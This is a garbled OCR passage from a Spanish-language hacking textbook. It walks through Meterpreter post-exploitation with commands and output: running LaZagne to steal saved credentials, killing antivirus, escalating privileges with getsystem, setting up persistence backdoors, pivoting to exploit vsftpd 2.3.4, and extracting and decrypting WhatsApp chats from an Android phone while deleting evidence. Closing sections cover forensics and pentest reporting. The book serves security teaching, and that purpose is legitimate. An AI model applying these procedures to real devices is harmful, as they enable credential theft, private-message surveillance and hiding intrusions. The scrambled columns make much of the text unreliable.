Form item: "action" = "login"
Key: action
Value: login
¥ Form item: "new_loc” =
Key: new loc
Value:

"22ryu

<

Robo de credenciales de navegadores y

otros programas remotamente

Adicionalmente, una de las cosas que nos interesa
robar, serian las credenciales de distintos
programas de un sistema, por ejemplo,
navegadores, apps (como Outlook), y credenciales
de redes wifi, para hacer esto, podemos combinar
nuestra conexion meterpreter con el programa
LaZagne, un script escrito en Python originalmente

disefado para uso forense, que esta compilado
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para Windows (también tiene version para
Macintosh y Linux) y lo podemos ejecutar . Si el sistema en el que estas tiene antivirus,
remotamente. puedes deshabilitar manualmente cambiando el
La limitante con este programa es que solo ‘1 archivo de instalacion del antivirus, o deshabilitar el
funciona con credenciales guardadas en el | de Windows con el médulo de post-explotacion
navegador, y no encriptadas (Windows no las | killav, puedes encontrarlo con el comando search.
encripta automaticamente, el usuario tendria que Ahora subiremos el ejecutable de LaZagne.

- - |;._L.er7;reter > upload /opt/Explotacion/lazagne/windows/lazagne. exe
instalar un software adicional patd ello, lo cual es '; ' uploading : Jopt/Explotacion/lazagne/windows/lazagne. exe -> lazagne.exe

Uploaded 8.00 MiB ofi 17.58 MiB (45.51%): /opt/Explotacion/lazagne/windows/lazagne. exe ->

pOCO comun). ' ‘ 7d(NE (EXE

| U 5 i i PN 1EvD aci ane /i
" . 18| Uploaded 16,60 MiB of 17.58 MiB (91.02%): /fopt/Explotacion/lazagne/windows/lazagne.exe ->
Primero, ubiquemos el programa en nuestro | [
: . . | Uploaded 17.58 MiB of 17,58 MiB (100.0%): /opt/Explotacion/lazagne/windows/lazagne. exe ->
sistema Kali, que esta en la ruta |
,'optIEprotacionllazagnelwindows y entraran a uploaded [opt/Explotacion/lazagne/windovs/lazaghe exe -» lazagne.exe
7 |

Una vez que esté en el sistema ya podemos
esa ruta con el comando cd.

. ) utilizarlo, pero este programa se utiliza por medio
Podemos confirmar que esta el programa con el

de una consola de comandos, es decir, una shell,
comando lIs.

/4 cd /opt/Explotacion/lazagne/windows/

 Jopt/Explotacion/lazagne/windows# 1s | CElfielan SLSRMa.
' sterpreter > shell

1azagne-exe ocess 2476 created.

nannel 2 created.

licrosoft Windows [Versifn 6.1.7600]

upyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

usaremos el comando shell para abrir una shell

Ahora utilizaremos meterpreter para subirlo a el

sistema comprometido con el comando upload. Wisers\uhitesuit Hacking\Downloadss}
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Como puedes ver, ahora robo las credenciales de

Ahora que ya tenemos una shell, ya podemos Facebook del nhavegador Chrome.

ejecutar el programa, para hacerlo, basta con Podemos especificar exactamente qué queremos

escribir lazagne.exe all, esto robara todas las robar del sistema con alguna de las opciones

credenciales que encuentre en el sistema. adicionales de LaZagne.

C:\Users\WhiteSuit Hacking\Downloads>lazagne.exe all
lazagne.exe all

age: lazagne.exe [-h] [--version]
{chats,svn,all,wifi,mails,windows,database, sysadmin, browsers,games}

The LaZagne Project

I BANG BANG |
[nsitional arguments:
{chats,svn,all,wifl,mails,windows,database,sysadnin, browsers,games}
Choose a main command
chats Run chats module
SV Run svn module
all Run all modules
Password found !'!! wifi Run wifi module
Username: prueba@gmail.com I pails Run mails module
Password: contasenadechrome windows Run windows module
Site: https://www.facebook.com/lagin.php | database Run database module
sysadmin Run sysadmin module
browsers Run browsers module
games Run games moduie

ptional arguments:
h, --help show this help message and exit
--Version laZagne version
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Para desactivar un antivirus en un sistema, existen

Desactivar Antivirus

varias formas dependiendo del antivirus, una de las

comando run killav en meterpreter.
meterpreter > run killav

[1] Meterpreter scripts are deprecated. Try past/windows/manage/kilhwl
[1] Example: run post/windows/manage/killav OPTION=value [...] )
[#] Killing Antivirus services on the target...

Elevacion de privilegios

Hay ocasiones en las que necesitamos realizar |
actividades en un sistema comprometido, como por
ejemplo interactuar con partes del sistema no
accesibles para un usuario, asi que podemos

utilizar técnicas para obtener esta elevacion de ‘

privilegios.

Getsystem |

La primera forma es la mas sencilla, aunque 1
altamente efectiva, que es usando el comando

getsystem en un meterpreter, que intentara con

498

meterpreter > getuid
server username: NT AUTHORITY\SYSTEM

‘VW!“‘!T Sl

X

varias técnicas obtener privilegios elevados en un
sistema en el que tenemos privilegios nivel usuario.
Para usarlo, corre el comando getysystem en el

meterpreter.

formas mas sencillas para desactivar uno es con el | cterpreter > getsysten
.got system via technigue 1 (Named Pipe Impersonation (In Memory/Admin)).

Ahora podras confirmar que tienes privilegios
elevados con el comando getuid, en donde

deberias aparecer como el usuario sistema.

Elevacion privilegios Android

La elevacion de privilegios en Android es bastante
sencilla, basta con obtener una shell con la palabra
reservada shell, y luego pedir privilegios de
superusuario con la palabra clave su, recuerda que

esto solo funciona si el Android tiene root.

Channeal
S L
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Persistencia

La persistencia es el utilizar el software malicioso
en un sistema para generar un acceso perpetuo al
sistema, sin importar si se reinicia este o si se
cierra el proceso, hacer que el proceso
simplemente se reinicie automaticamente.

Para hacer esto, podemos utilizar scripts de
persistencia para generar un ejecutable
automaticamente al iniciar un sistema, sin
embargo, usualmente requerimos un privilegio

elevado, especialmente en sistemas como Android.

Windows

En Windows, es relativamente sencillo obtener
persistencia en muchas versiones del sistema,
utilizando el comando dentro de meterpreter run
persistence, podemos utilizar diferentes banderas
para elegir como generar la persistencia.

Primero vamos a correr el comando run
persistence -help para ver las opciones que

tenemos.
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neterpreter > run persistence -help

1 Me o ; = e

[;% Eeter$r§ter‘scr1pts_a|e deprecated. Try post/windows/manage/persistence exe
[.. _x%mp.g, run post/windaws/manage/persistence exe OPTION=value [ ] : s
Meterpreter Script for creating a persistent backdoor on a tarqei héé%

OPTIONS:

-A
-L

=S

-T <opt=

-U
-X
-h

<gpt=>
-P <opt>

Payload to use, default is windows/meterpreter/reverse tcp

Alternate executable template to use

Autnmat@cuily start the agent when the User logs on
?ﬁizmﬂziga;ézustart the agent when the system hoots

The interval in seconds between each conpection attempt

The port on which the system running Metasploit is listeninc

The IP of the system running Metasploit listening farhtﬂelégmnert back

Aqui tenemos una explicacion bastante decente de
las opciones que podemos utilizar para la
persistencia, recomiendo que leas estas opciones,
pero las opciones que nos interesan en este
momento serian la -A, para generar un escuchador
al mismo tiempo, la -L, para decirle que se grabe
en el disco duro del sistema principal el codigo
malicioso, y la -X, para que cada vez que el
sistema se prenda, nos dé una conexion, e intente
hacer esa conexion cada 30 segundos, obviamente
podriamos agregar otras opciones como agregar
conexiones a otras maquinas, o que se inicie con

que el usuario inicie sesién, pero por ahora estos
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Automatically start a matching exploil 1
omatice g exploit/multi/handler to connect to the a
Location in target host to write paylead to, if none STEMPS will Ee,nse;qent

Automatically start the agent on boot as a service (with SYSTEM privileges)
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comandos son los principales, esto haria que el
comando quede asi:
run persistence -A -L c:\\ -X 30

Adicionalmente, si quisiéramos permisos elevados

desde el inicio, le agregariamos una -S.

realmente no ha funcionado, pero si esperamos un
segundo, deberiamos obtener una sesion adicional,
esa es la prueba de que se ejecuto correctamente,

y funciono también correctamente el script.

peterpreter » [*] Meterpreter session 13 opened (192.168.1.68:4444 -> 192.168.1.141:34342) at 2018-16-16 18:44:09 030

Vamos a probar si funciona el script reiniciando el

sistema con el comando reboot. También
iniciaremos un escuchador en el puerto 4444 que

es a donde apunta la persistencia.
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meterpreter > reboot
Bebaoting. ..

Name Payload opts

Exploit: multi/handler windows/meterpreter/reverse tep tcp://192.168,1.68:4444

Ahora que se inicie el sistema Windows.

Iniciando Windows
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Y listo, ahora deberias tener una sesion de

meterpreter automaticamente.

) > [¥] Meterpreter session 19 opened (192.168.1,68:4444 -> 192.168.1.141:49167) at 2

nst exploit{a
6 18:56:34 -0500

Pivoteo - Atacando desde sistema

comprometido

Ahora vamos a aprender a “pivotear”, esto es
atacar un sistema por medio de un sistema
comprometido.

Imaginate que quieres hackear a los directivos de
la compafiia X, sin embargo, en esta compaiiia, los
directivos estan altamente entrenados, asi que un
ataque por ingenieria social no es viable, y estan
tras una red protegida por un firewall, sin embargo,
sabes que trabaja un becario como asistente de
uno de estos ejecutivos, y que no esta bien
entrenado, asi que logras obtener acceso al
sistema del asistente.

A pesar de que lograste un acceso, realmente no
obtienes nada importante, ya que los archivos

importantes estan en las maquinas, servidores, y
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redes de la organizacion, asi que tu Unica forma es
utilizar a esta maquina infectada para atacar a los

demas sistemas.

Reconocimiento

Para esta practica asumimos que tienes un
meterpreter en un sistema Windows (esto se puede
hacer en otros SO, pero para el ejemplo utilizaré un
sistema Windows comprometido).

Vamos a seguir aplicando la metodologia incluso
en esta etapa de post explotacién, lo primero que
me interesa saber, es quien mas, o que otros
sistemas, son accesibles por mi sistema
comprometido, es decir, mi “pivote” en la red.

Para esto, lo primero que conviene hacer, es un

escaneo ARP, por medio del script en Metasploit

run arp_scanner al darle el parametro -help, nos

da las opciones que tenemos como argumentos.
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jeterpreter > run arp_scanner -r 192.168.1.141/24

neterpreter > run arp_scanner -hetp ) H{: '
Meterpreter Script for performing an ARPS Scan Discovery ff ] ARP Scanning 192.168.1.141/24

(¥] IP: 192.168.1.71 MAC 70:4f:57:
b#] IP: 192.168.1.68 MAC 00:0c:29:
R H ] IP: 192.168.1.73 MAC 30:07:4d:
-h Help menu. 7] IP: 192.168.1.83 MAC 4c:cc:ba:
il Enumerate Local Interfaces ' . l «] IP: 192.168.1.79 MAC 08:05:81:
-r <opt> The target address range or CIDR 1dent1fuw? ¥] IP: 192.168.1.93 MAC 70:4f:57:
-5 save found IP Addresses to logs. *] IP: 192.168.1.101 MAC ed:f0:42
8 *]1 IP: 192.168.1.115 MAC b8:53:ac
Ahora que tenemos los argumentos, vamos a %E igg%gg%ﬁ? mﬁg ggggg;
utilizar el comando, run arp_scanner -r ¥1 IP: 192.168.1.171 MAC 78:0f:77
192.168.1.141/24, ya que 192.168.1.141 es la IP 1] IP: 192.168.1.166 MAC a8:al:98
de la maquina infectada, y el /24 le dice que ‘] IP: 192.168.1.165 MAC 8c:45:00
ed. [*] IP: 192.168.1.176 MAC 00:0c:29
b ki pepngie ] IP: 192.168.1.187 MAC T4:f5:e8
Tras este escaneo, sabremos cuantas, ¥ (] IP: 192.168.1.188 MAC 9c:20:7b
sistemas estan conectados a la red, no sabemos 1*1 IP: 192.168.1.255 MAC 00:0c:29

1

.254 MAC d8:37:be

realmente el tipo de sistema que es, pero minimo " *] IP: 192.168.

ya tenemos visibilidad de cuantos sistemas existen

Ahora, algo importante, es que estamos utilizando

en la red, sus IPs, y sus direcciones MAC.
paquetes ARP porque son mas dificiles de detectar

y pasan por un firewall mas facilmente, si intentaras
hacer esto con por ejemplo nmap, probablemente
no pasaria ningun paquete a la red.
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Interceptando paquetes en redes externas

Normalmente s imposible realizar ataques de
hombre en medio (MITM) en redes externas a la
nuestra, sin embargo, una vez que tenemos un
pivote (sistema comprometido) en la red, se nos
abre esta posibilidad utilizando la técnica de

envenenamiento ARP.

Para hacer esto desde el pivote, utilizaremos el

Vunresr

del sistema comprometido, ahora, para de hecho
interceptar y ver estos paquetes, basta con
regresarnos a una leccion anterior e instalar un
sniffer en el sistema comprometido, descargarlo, y
analizar el archivo en WireShark, con esto
podemos obtener que sistema es el que nos
interesa atacar y que tipo de sistema es.
Regrésate a la leccion de sniffer en post-

explotacion para hacer eso.

comando run autoroute, puedes ver las opciones

si corres el comando con el argumento -help.

1] Meterpreter scripts are deprecated, Try post/multi/manage/autoroute. ‘
1] Example: run post/multifmanage/autoroute oPTION=value [...] ‘
Usage:  run autoroute [-r] -5 subnet -n netmask

meterpreter > run autoroute -help

|
] Examples:

] run autoroute -s 10,1.1.0 -n 255,255.255.0 # Add a route to 10.16.10‘1/255.255.255.0
£} run autoroute -s 10,10, 10, # Netmask defaults to 255.255,255.0
il -5 10,160.10,
K] -p

1
b run autoroute 1 .10.1/24 4 CIDR notation is also okay
i run autoroute -p # print active routing table |
run autoroute -d -s 10,10.10,1 # Deletes the 10.10,10.1/255,255.255.0 routs:
#] Use the "route" and "ipconfig" Meterpreter commands to Lleann about available routes
Deprecation warning: This script has been replaced by the post/multifmanage?autoroute modu

¥

Como ya sabemos los segmentos de red que
gueremos interceptar, vamos a utilizarlos, con el
comando run autoroute -S 192.168.1.141/24, esto

hara que todos los paquetes pasen por la interfaz
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pterpreter > run autoroute -s 192.168.1.141/24

1] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
1] Example: run post/multi/manage/autoroute OPTION=value [...]

| Adding a route fo 192.168.1.141/255.255.255.0. ..

;] Added route to 192.168,1,141/255,255.255.0 via 192.168.1.141

| Use the -p option to list all active routes

Genial, ahora no solo obtendras los paquetes de la
maquina comprometida si instalas un sniffer, si no

los paquetes de toda la red.

Atacando a otro sistema

Ahora, vamos a asumir que en tu analisis llegaste a

la conclusion que el sistema que quieres
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comprometer tiene la IP 192.168.1.130 y es un

sistema Linux el cual esa version en particular es

vulnerable a una falla en FTP.

Vamos a atacarlo por el exploit en Metasploit, usa
el comando background, y el exploit para esta
vulnerabilidad que se encuentra en:
exploitlunixlftplvsftpd#234;backdoor

Y configurarlo para atacar a la IP del objetivo.

meterpreter > background
[*] Backgrounding session l..
msf exploit( ) > use exp101t/un1x/ftp/vsftpd 234 backdoorl§l! 122

msf exploit( ) > show options
Module options (exploit/unix/ftp/vsftpdjS{backdoor):

Name Current Setting Required Description

The target address

RPORT 21 yes The target port (TCP)

Exploit target:
Id Name

0 Autcmatlc

msf exploit( ) > set RHOST 192.168.1.130

RHOST => 192.168.1.130
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Ahora inicia el ataque con el comando exploit, nota
como el ataque se esta realizando a través del
meterpreter en la sesion 1 (el pivote), esto te lo
puede decir la terminal directamente con un “via
the meterpreter”, o al mostrarte las conexiones, que

como podras notar, tiene la conexion a mi IP (la

68), a través de la IP del pivote (la 141).

jar) > exploit

- Banner: 220 (vsFTPd 2.3.4)
. USER: 331 Please specify the password.
_ Backdoor service has been spawned, handting..

Jl 192, 168.1.130:21 - UID: uid=0(root) gid=0{root)

Fount shell.
conmand shell session 2 opened [192.168.1,68A192.168.1.151:G -> 102,168.1,130:6200) at 2018-10-18

51215 -0500

Una vez en el sistema, ya podremos

comprometer la seguridad de la
informacién, en este caso a través de
una shell, pero si fuera un diferente
payload, bien pudo haber sido un
meterpreter, o puedes pasar la shell a

meterpreter como vimos hace unas

paginas.
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Hackeando WhatsApp eterpreter > cd /sdcard/W atsApp

Hackear WhatsApp de un Android, aunque bien es
posible, no es del todo facil, para hacer esto,
primero tenemos que entender una cosa, no

estamos hackeando WhatsApp, lo que estamos

hackeando realmente es el respaldo de las

conversaciones que hace WhatsApp, y, aunque

eterpreter > s

eterpreter > pwd

storage/emulated/legacy/WhatsApp

Y con Is podemos ver las distintas carpetas en este
directorio, por el momento, seleccionaremos la de

Media, luego regresaremos a la otra.

bien estas estan encriptadas en el celular con el isting: / storage/emulated/Llegacy/WhatsApp

protocolo (al momento) crypt12, existe una forma

de obtener la llave, ya que se guarda en el mismo Name
dispositivo, sin embargo, para obtener esta flave, 0667,/ rwl- - WX dir  2018-07-29 23:46:39 -6500 .Shared
necesitamos un acceso root. 110667 / W= rw=rwX dir 2018-10-16 22:04:42 - .trash

Aun asi, esto solo es necesario con las

conversaciones, ya que los archivos y multimedia

como fotos, imagenes y audios, se almacenan sin
ningun tipo de encriptacion.

Primero, vamos a descargar archivos de WhatsApp
que no estan encriptados, para esto, vete a la
carpeta donde esta almacenado WhatsApp, por

defecto esta en Isdcard/WhatsApp.
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10666/ W= - TW- dir 2018-10-16 02:00:00 -
110666/ W~ =W~ dir 2018-02-10 11:11:18 -

Como podrés notar, dentro de la carpeta de Media
hay varias carpetas referentes a imagenes y demas

archivos multimedia.
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meterpreter > cd Media
meterpreter > 1s

Name
2018-10-12 00:90:07 -0500
2017-10-27 20:35:25 -0500
2018-07-30 01:15:29 -(500
-0500
-0500

AQBG6T [ rw- = rwx dir ,Statuses
40666/ rv- rv-rw- dir Wal LPaper
40666/ W= rl- - dir
ADGBBB/ - rvl- - dir 2018-07-30 01:50:18

AQGRG/ W= - - dir 2018-07-30 02:02;12

WhatsApp Audio

WhatsApp Video
WhatsApp Voice

2018-07-30 01:59:11 -0500

40666/ - v-TW- dir
7018-07-29 23:32:30 -0500

40666/ rw-rv-ru- 4096 dir
Digamos que queremos descargar una Imagen,
basta con ir a la carpeta WhatsApp Images con cd
“WhatsApp Images”, y elegir la imagen a

descargar.
*nota: Las comillas son necesarios al ingresar a

una carpeta con un espacio entre de dos palabras.

meterpreter > cd iWhatsApp Images"
meterpreter > s

Size Name

1:57:16 -0500 IMG-20150411-

258072  fil 0
88397 fil - 01:56:52 -0500 IMG-20150429-WAG014. jp!|

100666/ rw-rw- M-
100666/ M- W=1\W-

100666/.rwW-rw-rW- 55601 fil 01:56:11 -0500 INMG-20156602-

WhatsApp Animated Gifs

WhatsApp Documents

40666/ rW-w-rw- dir 2018-07-30 01:57:16 0500 WhatsApp Images
40666/ rw- rv-rW- dir 2017-10-27 20:35:25 9500 WhatsApp Profile Photos|
40666/ rW- rw-TW- dir  2018-02-10 11:11:18 -0600 WhatsApp Stickers

Notes

WAGO1L, jpf

WA003. JpOF

| terpreter > download IMG-20150411-WABG1L. jpg
1) downloading: IMG-20150411-WABO11. pg -> ING-20150411-WAGOLL. jpg
povnloaded 252,90 KiB of 252.90 KiB (100.0%): TMG-20150411-WAQ011. jpa. -> 1MG-20150411-WA001L, 1pg

download

‘ng—ujg SUIT

Ahora, para descargar cualquier imagen, solo usa

el comando download seguido del nombre de la

imagen.

. THG-20150411-WABBLL g -> ING-20150411-1AGG1L.1pg

Seguido de esto, la imagen se habra descargado

en tu sistema.

Ahora viene lo dificil, las conversaciones, para
esto, vas a regresar a la carpeta WhatsApp, y
ahora ingresar a la carpeta Databases.

Aqui estan todos los respaldos de WhatsApp del
sistema, sin embargo, como notaras, tienen la
terminacion crypt12, nos encargaremos de eso
luego, por ahora, descarga el archivo con el

comando download.
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meterpreter > pw
/storage/emulated/legacy/WhatsApp
meterpreter > cd Databases
meterpreter > ls

Listing: /storage/emulated/l

Type L ifie Name

100666/ rw-rv-rw- 115048 fil  2018-10-08 02:00:00 -0500 msgstore-2018-10-09.1, db. crypt1n
100666/ W-ry-ry- 115048 fil 2018-10-09 02:00:00 -0560 msgstore- 2018-10-10.1.db, r[yptl
100666/ rwW-rw-rw- 115047 fil 2018-10-10 02:00: 00 -0500 msgstore-2018-10-11,1, db r:a|
100666/ rw-rw-rw- 115049 fil 8-10-11 © -0500 msgstore-2018-10-15.1.db, crypt1y
160666/ mw-rw-rv- 115046 Tfil 100:00 -0500 msgstore-2018-10-16,1. db cry,tr
100666/ - rw-ry- 115047 fil 7@18 1U 16 02: BO 00 -0500 msastore.db.cryptl2

meterpreter > download msgstore,db,cryptl2
[*] Downloading: msgstore.db.cryptl2 -> msgstore.db.cryptl2
[*] Downloaded 112,35 KiB of 112.35 KiB (100,0%): msgstore.db.cryptl2 -> msgstore,dob.cryptiy
[*] download : msgstore.db.cryptl2 -> msgstore.db.cryptl2
Ahora, viene lo dificil, primero, confirmamos que
estamos en un celular con root, para esto,

correremos el comando check_root.

meterpreter > check root

[+] Device is rooted

Si no esta rooteado, no podras obtener acceso a la

llave, ahi tienes dos opciones, o encuentras forma
de obtener root, ya sea con un exploit o ingenieria
social, o atacas a algun sistema en la nube como
iCloud o Google drive donde esté el respaldo.
Como el sistema esta rooteado, proseguiremos,

vamos a obtener una shell con dicho comando,
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una vez en la shell, pediremos permiso de

superusuario con el comando su.

meterpreter > shell
Process 8 created.

Channel 13 created.
su

Ahora, a buscar la llave, por defecto, esta guardada

en la carpeta /data/datalfiles/com.whatsapp/files/

/data/data/com.whatsapp/files/
s

Ahora, viendo los archivos [\ AINEI8S
con Is, podemos notar LO[_:] S

que aqui esta lo que invalid numbers
buscamos, el archivo key. key &

login failed
E

me. jpg

rc2
statistics

wam . wam
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Sin embargo, no podemos descargar nada desde jsterpreter > pwd
g P g .torage/emulated/legacy/WhatsApp
una shell, y no podemos acceder a ese directorio eterpreter > s

15t1ng /storage/emulated/legacy/WhatsApp

desde un meterpreter, asi que tendremos que

copiar la llave a un directorio publico con el : (£ s
comando cp, en este caso lo copie al directorio de f;éaﬁ?/rw-rw-rwx : 2018-07-29 23:46:30 - eraren
WhatsApp. 410667/ rw-rw-rwx ' 2018-10-16 22:04:42 .trash
10666/ rw-rw=rw- ' 2018-10-16 02:00:00 - Databases
. d /\ 10666,/ rW- - r- ir 2018-02-10 11:11:18 Media
Cp key /Sdcard/WhatSApp/ 1100666/ rw-rw-rw- fil 2018-10-16 22:33:30 key
Ya no necesitamos shell, ingresemos a meterpreter M| cterpreter > download key
| Downloading: key -> key

cerrando la shell con control + z. ] Downloaded 158.00 B of 158.00 B (100.0%): key -

‘] download : key -> key
lleterpreter > rm key

~C

Terminate channel 13?7 [y/N]

Ahora si, ya tenemos tanto la base de datos, como

la llave para desencriptarla, ahora vamos a

Ahora, nos iremos al directorio donde esta la llave, . , ; ;
desencriptarla, para esto existen varias opciones

y la descargamos con el comando download, y .
decentemente sencillas.

posteriormente eliminaremos la llave para borrar . . o
La primera, si es una base de datos pequena, es

evidencia con el comando rm.

http://lwhatcrypt.com , directamente en la pagina,

y si es una base de datos mas grande, descarga la
app en tu Android, sube los dos archivos en tu
Android, y simplemente sube la base de datos y la

llave al directorio.
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@ WhatCrypt

WhatCrypt

Encrypted Database Path:
/storage/emulated/0/WhatsApp/Databases/msgstore-2018-07-30.1 db.orypt12

Grail Account (Crypt 5);

Key File Path (Crypt 6212);

/sdcard/WhatsApp/key

Decrypt Database

Otra alternativa que encuentro mas comoda es

usar WhatsApp Viewer, que puedes encontrar en

https://whitesuithacking.com/material-libro o en

su repositorio en GitHub buscéndolo con dicho

nombre.
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Posteriormente, sea la herramienta que sea que
uses, obtendras un archivo .db, eso significa que
ya podras visualizar la base de datos en cualquier
visualizador compatible, recomiendo WhatsApp
Viewer de nuevo, ya que lo ordena en una interfaz
amigable, sin embargo, existen otros programas
que podrian manejar estos archivos.

Para abrir el archivo, simplemente haz clic en

“File”, “Open...”, y selecciona la base de datos.

I-": shamipp Viewes

£1e  Hela

Open WhatsApp Dalabase =

> wt bied s Total message count |
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Y ahora te mostrara los contenidos en una manera

organizada y amigable.

= Whatshpp Viewer

File Help

e

‘VW!*'.TF >

R

WiatsApp Chat (5212110456309@s whatsapp nel)

phone number last message & _——— AR
—-ﬂi

201609
it s AN
2316.0 = 3
2915.;3
216,09 — A
2016.09
2016.09 e
216,09 Hey

1 216,09 sty
2016.09) Tue onda camo aridas?
201605
016,09 - MR
23164 = : 27 :
20164
2016,
S ==
2016.05
2016,89
016,05
201609
201509 e
2016.08)
2016.09
201609
201605, Hpan
2016.09
201609
20160
:ms.zj
2016,09 — — —
D60 v Export.it . Bt
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Forense

Aunque este libro no es uno enfocado en
informatica forense, pienso que vale la pena hablar
un poco al respecto tan solo para entender la
metodologia y la importancia de esta para la
continuidad de un negocio, asi que tocare el tema
de informatica forense, su metodologia, y una

practica con una herramienta para esto.

Metodologia

La metodologia de la informatica forense tiene que
ser llevada muy estructurada, pero en si, es
decentemente sencilla, lo importante aqui es que
para recopilar evidencias confiables y admisibles
legalmente hablando, se tiene que llevar una
cadena de custodia muy estructurada de por
donde paso la informacién, como se obtuvo, que
cambios se hicieron, quien tuvo acceso a esta, y
donde se almaceno.

Tomando en cuenta lo anterior, los pasos son:
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1. ldentificar la evidencia: En este paso se
llega a la “escena” y se identifica que es
evidencia y que no lo es.

2. Adquisicion de la evidencia: En este
punto, un equipo de informatica forense
empezaria a tomar la evidencia, digase fotos
del sistema, como esta actualmente,
transportar los dispositivos, nota, en este
paso es muy importante que ninguna
evidencia sea contaminada o modificada,
por ejemplo, si se encuentra un sistema
prendido y conectado, se buscaria en ese
momento tomar la evidencia digital, por
ejemplo, registros, copias de disco, etc, sin

que se apague o haga cualquier cambio

importante a la maquina. Incluso se tiene
que documentar que herramienta se utilizd
para recopilar la informacioén ya que toda
herramienta deja su propia “huella”.

3. Preservacion de la evidencia: Tipicamente

se sacan copias dobles de los discos e
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imagenes que se obtengan de una

informacion o evidencia sensible.

_ Anélisis de la evidencia: En este punto es

donde se obtiene informacion real de la
evidencia, como que seé hizo a qué tiempo,
quien modificd algun sistema, de donde,
etc., todo tiene que ser estrictamente
documentado, tanto de como se obtuvo,
como exactamente que muestra.
Presentacion del informe: Aqui es reportar
todo lo obtenido y la metodologia que se
llevd, asi como un registro (la cadena de
custodia) que muestre quien tuvo acceso y
que se modifica de la informacion. Aqui el
trabajo del forense NO es sacar
conclusiones de porqué se hizo algo, 0 ni
siquiera quien, solo los hechos deben de ser

presentados.
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Fvaluacion de la situacion

Presentacion .

delinforme

Devolucion de la evidencia / Fin

Practica - Windows

Para esta practica, utilizaremos DAWF, una
herramienta forense para Windows bastante
sencilla, esta no esta disefada para actividades en
las que la evidencia tenga que ser utilizada por la

policia, sin embargo, es una herramienta Util y
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sencilla de utilizar para obtener cierta informacion
como registros de un sistema.

Adicionalmente, cabe mencionar que DAWF
realmente no hace nada mas que automatizar
ciertos procesos para recopilar informacion, asi que
es una herramienta muy basica.

Para descargarla, entren a
https:/iwhitesuithacking.com/material-libro y
hagan clic en el botén que dice DAWF, luego de
eso, descomprime el archivo .zip, y obtendras una
carpeta similar a la siguiente.

Nota: muchos antivirus detectan la herramienta

como maliciosa, esto es por la naturaleza de la

herramienta, no esta hecha para atagues y evasion

de antivirus, sin embargo, es inofensiva.

Evidencias Herramientas comcmz.ocx' DAWF.exe
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En esta carpeta, la herramienta DAWF, que es la
que automatiza las funciones, es el ejecutable, y la
carpeta de herramientas son las herramientas
reales que DAWF esta utilizando para automatizar,
en la carpeta de “evidencias” es donde se
guardaran nuestros resultados.

Para iniciar la herramienta, ejecuta DAWF como
administrador, y vamos a ponerle “Iniciar”, y

esperemos un poco a que haya terminado de

recopilar la informacion.

-
‘V WHITE SUIT

T
DAWF ha Finalizado y se Cerrara

i ) Revisa los archivos generados en la siguiente ruta C:\Users\WhiteSuit
* Hacking\Downloads\DAWF\Evidencia\WIN-KASNAUTILSB-194732-mu
w erto

L
b 4

Aceptar

e

Ahora, dentro de la carpeta “evidencias”,

entraremos a la carpeta nueva que creo DAWF, en

donde veras algo parecido a esto.

= S

Al terminar el proceso, aparecera una ventana
avisando de ello, asi como donde guardo lo

encontrado.
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| f e 5 I
Adtividad-Equips  InformacionBase  Informacion-Mav Integridad-de-Ar  Mensajeria-y-Soc Passwords Informe-WIN- KA
~Sistema egadores chivos ial GNAUTILSE

Aqui dentro de las categorias podremos ver
informacién de registros y uso de la magquina, no
tiene sentido ir por cada uno de los archivos que
genera DAWF, pero el uso es el mismo, entra a la

carpeta de la categoria, digamos que queremos ver
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lo que se ha hecho en la maquina, entraremos a la

primera carpeta.

qﬁ @@@@@@

Sequridad BrecutedPregram  LastActivitVier  Opencdfiles¥ies  OpenSaveRlestie RecentFilesVisw U3BDeview WlnFrEfdm‘ﬁh
slist W

Ahora abriremos como ejemplo, el archivo de
“ExecutedProgramList”, que nos dira todos los
programas que han sido ejecutados en la maquina,
todos estos archivos estan en HTML, asi que
podemos abrirlos con cualquier navegador.

Dentro del archivo veras en una tabla los
programas que han sido ejecutados, fechas,
usuarios, y ubicaciones, y en los demas archivos
hay otro tipo de informacion que podria ayudarte
desde a detectar mal uso del sistema, hasta

maneras en las que hubo una intrusion.

Exccuted Programs List

Created by esing ExecptefPreqramilin

| ¢ TRORRANFIE TN IVERVERERE
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Reportaje

El trabajar como hacker profesional requiere
muchas habilidades técnicas, de resolucion de
problemas, entre otras cosas, pero una de las
cosas que a casi ninguin hacker profesional nos
gusta, es la parte final de cualquier trabajo, el
reporte.

Tenemos que recordar que aunque un servicio de
ciberseguridad es altamente valioso, no
producimos ni creamos nada realmente, solo
auditamos, entonces nuestro entregable y prueba
de trabajo para nuestros clientes, es el como
reportamos el trabajo que hemos realizado, asi
como la metodologia que utilizamos que es una de

las habilidades mas importantes que un profesional

de ciberseguridad debe tener, ademas, es un
hecho que a pesar que hay cientos de libros de
pentesting y ataques, cientos de miles de horas de
entrenamiento para esto, y varios centros de
capacitacioén, podria apostar que menos del 10%

del material esta dedicado a la etapa del reporte.
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Tanto este libro, como nuestras capacitaciones,
estan disefiadas no solo para entrenarte como
hacker, si no para que puedas utilizar tus
conocimientos en un uso profesional asi que esta

es una etapa que no debes ignorar.

Metodologia

A pesar de que hay varias menciones de
metodologias para reportar, no hay tal cosa como
una sola centralizada y Gnica para reportar,
podemos decir que generalmente hablando todos
los hackers profesionales seguimos la metodologia
de prueba de penetracion, pero el tema de reporte
es relativamente subjetivo, sin embargo, hay
algunos puntos que deben ser adecuadamente
explicados al cliente.

En la mayoria de las consultorias, se entregan dos
reportes en una prueba de penetracion o auditoria,
el primero, llamado el reporte ejecutivo, esta

disefiado para un director o ejecutivo de la
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empresa, no un experto en seguridad, y el
segundo, llamado el reporte técnico, es para el
jefe o experto en seguridad o sistemas, y menciona
todos los detalles técnicos de la metodologia y las
recomendaciones técnicas de como mejorar el

nivel de ciberseguridad.

Reporte Ejecutivo

El reporte ejecutivo, como mencionaba, no es para
el experto en seguridad, es para el ejecutivo o
director de empresa que no tiene conocimientos o
interés en los detalles técnicos del estado de
seguridad de su organizacion, a esta persona le
interesa conocer el estado general de la situacion,
y el como y en cuanto tiempo se va a remediar los
problemas, recuerda, a pesar de que la profesion
de ciberseguridad es una profesion técnica, la
razon por la que existe es para proteger los activos
tangibles e intangibles, (es decir, dinero) de una
organizacion, asi que a los tomadores de
decisiones debes de traducir la inversion que se le

hizo para mejorar su seguridad en cosas tangibles,
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como “si hubiera pasado esto, hubieras perdido x
cantidad de dinero”, o “si x ataque sucediera, se

detendra la operacion de la empresa x tiempo”.

Tomando esto en cuenta, lo principal que sugiero
